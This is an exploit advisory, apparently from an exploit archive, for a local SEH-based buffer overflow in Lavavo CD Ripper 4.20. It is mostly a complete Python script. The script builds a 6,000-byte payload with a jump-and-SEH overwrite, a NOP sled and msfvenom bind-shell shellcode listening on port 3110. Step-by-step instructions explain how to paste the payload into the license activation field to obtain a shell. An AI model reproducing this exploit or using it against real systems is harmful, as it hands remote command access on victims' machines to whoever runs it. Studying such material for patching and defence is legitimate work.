Lavavo CD Ripper 4.20 Buffer Overflow

2019.04.26
Credit: Achilles
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: Lavavo CD Ripper 4.20 Local Seh Exploit # Date: 25.04.2019 # Vendor Homepage:https://www.lavavosoftware.com # Software Link: https://lavavo-cd-ripper.jaleco.com/download # Exploit Author: Achilles # Tested Version: 4.20 # Tested on: Windows XP SP3 EN # Windows 7 Sp1 x64 # 1.- Run python code : Lavavo.py # 2.- Open EVIL.txt and copy content to Clipboard # 3.- Open LavavoCDRipper.exe and click UNLOCK. # 4.- Paste the Content of EVIL.txt into the 'License Activation Name' # 5.- License Key 123456789 # 6.- Click 'Unlock Now' and you will have a bind shell port 3110. #!/usr/bin/env python import struct buffer = "\x41" * 300 nseh = "\xeb\x06\x90\x90" #jmp short 6 seh = struct.pack('<L',0x1003157d) #libsndfile.dll nops = "\x90" * 20 #msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python #badchars "\x00\x0a\x0d" shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b" "\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8" "\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b" "\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07" "\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5" "\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f" "\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02" "\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59" "\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7" "\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb" "\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87" "\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01" "\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7" "\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45" "\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49" "\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1" "\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9" "\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c" "\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64" "\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38" "\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3" "\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0" "\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86" "\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e" "\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7" "\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4" "\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef" "\x77\x03\x31\x3a") pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode)) payload = buffer + nseh + seh + nops + shellcode + pad try: f=open("Evil.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"


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